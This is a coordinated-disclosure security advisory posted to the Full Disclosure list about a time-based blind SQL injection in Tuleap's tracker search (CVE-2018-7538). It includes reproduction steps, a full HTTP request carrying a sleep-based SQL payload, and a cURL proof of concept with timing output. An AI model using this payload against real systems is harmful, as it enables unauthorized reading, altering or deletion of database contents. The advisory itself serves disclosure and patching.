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Date: Thu, 8 Mar 2018 11:11:29 +0100
From: Cristiano Maruti <cmaruti@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Tuleap SQL Injection

===============================================================================
                  title: Tuleap SQL Injection
                case id: CM-2018-01
                product: Tuleap version 9.17.99.189
     vulnerability type: Blind SQL injection - time based
               severity: High
                  found: 2018-02-24
                     by: Cristiano Maruti (@cmaruti)
===============================================================================

[EXECUTIVE SUMMARY]

 Enalean Tuleap is a project management system for application lifecycles
 management, agile development and design projects, requirement management, IT
 services management, and so on. The analysis discovered a time-based blind SQL
 injection vulnerability (OTG-INPVAL-005) in the tracker functionality of
 Tuleap software engineering platform. A malicious user can inject arbitrary
 SQL commands to the application. The vulnerability lies in the project tracker
 service search functionality; depending on project visibility successful
 exploitation may or may not require user authentication. A successful attack
 can read, modify or delete data from the database or, depending on the
 privilege of the user (default: restricted) and the database engine in use
 (default: MySQL), execute arbitrary commands on the underlying system.

[VULNERABLE VERSIONS]

 The following version of the Tuleap software was affected by the
 vulnerability; previous versions may be vulnerable as well:
 - Tuleap version 9.17.99.189

[TECHNICAL DETAILS]

It is possible to reproduce the vulnerability following these steps:
1. Open the tracker service in a publicly visible project
2. Leave all the fields empty and submit the search form while logging the
   request with the help of an application proxy like Burp or ZAP
3. Copy the previous request and edit the "criteria[499][values][]" field in
   the request body with the "(select(0)from(select(sleep(3)))a)/**/" payload
4. Send the request to the application
5. Application will respond with a three second delay

Below a full transcript of the HTTP request used to raise the vulnerability
and also a cURL one liner to highlight the induced delay in the application
response.

HTTP Request
-------------------------------------------------------------------------------
POST /plugins/tracker/?tracker=16 HTTP/1.1
Host: 192.168.137.130
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: https://192.168.137.130/plugins/tracker/?tracker=16
Content-Type: application/x-www-form-urlencoded
Content-Length: 278
Cookie: __Host-TULEAP_PHPSESSID=r7d1mk87sfn9kadlkh64h25354
Connection: close
Upgrade-Insecure-Requests: 1

report=124&criteria%5B504%5D=&criteria%5B489%5D=&criteria%5B495%5D%5Bvalues%5D=
&criteria%5B495%5D%5Bvalues%5D%5B%5D=&criteria%5B499%5D%5Bvalues%5D=
&criteria%5B499%5D%5Bvalues%5D%5B%5D=(select(0)from(select(sleep(3)))a)/**/
&additional_criteria%5Bcomment%5D=&tracker_query_submit=
-------------------------------------------------------------------------------
cURL PoC
-------------------------------------------------------------------------------
# time curl -k -X POST -d @sql.txt -H 'Cookie: __Host-TULEAP_PHPSESSID=<VALID>'
  https://192.168.137.130/plugins/tracker/?tracker=16

[OUTPUT TRUNCATED]
        </script>    </body>
</html>
real    0m3.117s
user    0m0.033s
sys     0m0.021s

# cat sql.txt
report=124&criteria%5B504%5D=&criteria%5B489%5D=&criteria%5B495%5D%5Bvalues%5D=
&criteria%5B495%5D%5Bvalues%5D%5B%5D=&criteria%5B499%5D%5Bvalues%5D=
&criteria%5B499%5D%5Bvalues%5D%5B%5D=(select(0)from(select(sleep(3)))a)/**/
&additional_criteria%5Bcomment%5D=&tracker_query_submit=
-------------------------------------------------------------------------------
A copy of the report with technical details about the vulnerability I have
identified is available at:
https://github.com/cmaruti/reports/blob/master/tuleap.pdf

[VULNERABILITY REFERENCE]

The following CVE ID was allocated to track the vulnerabilities: CVE-2018-7538

[DISCLOSURE TIMELINE]

2018-02-26     Vulnerability submitted to vendor through e-mail.
Vendor requested
more info and acknowledged the problem later.
2018-02-27    Researcher requested to allocate a CVE number.
2018-02-27    Vendor released a fix for the reported issue.
2018-03-08    Researcher requested to publicly disclose the issue; public
coordinated disclosure.

[SOLUTION]

Enalean released an update to fix the vulnerability (Tuleap 9.18 or later).
Please see the below link for further information released by the vendor:
- https://tuleap.net/plugins/tracker/?aid=11192

[REPORT URL]

https://github.com/cmaruti/reports/blob/master/tuleap.pdf

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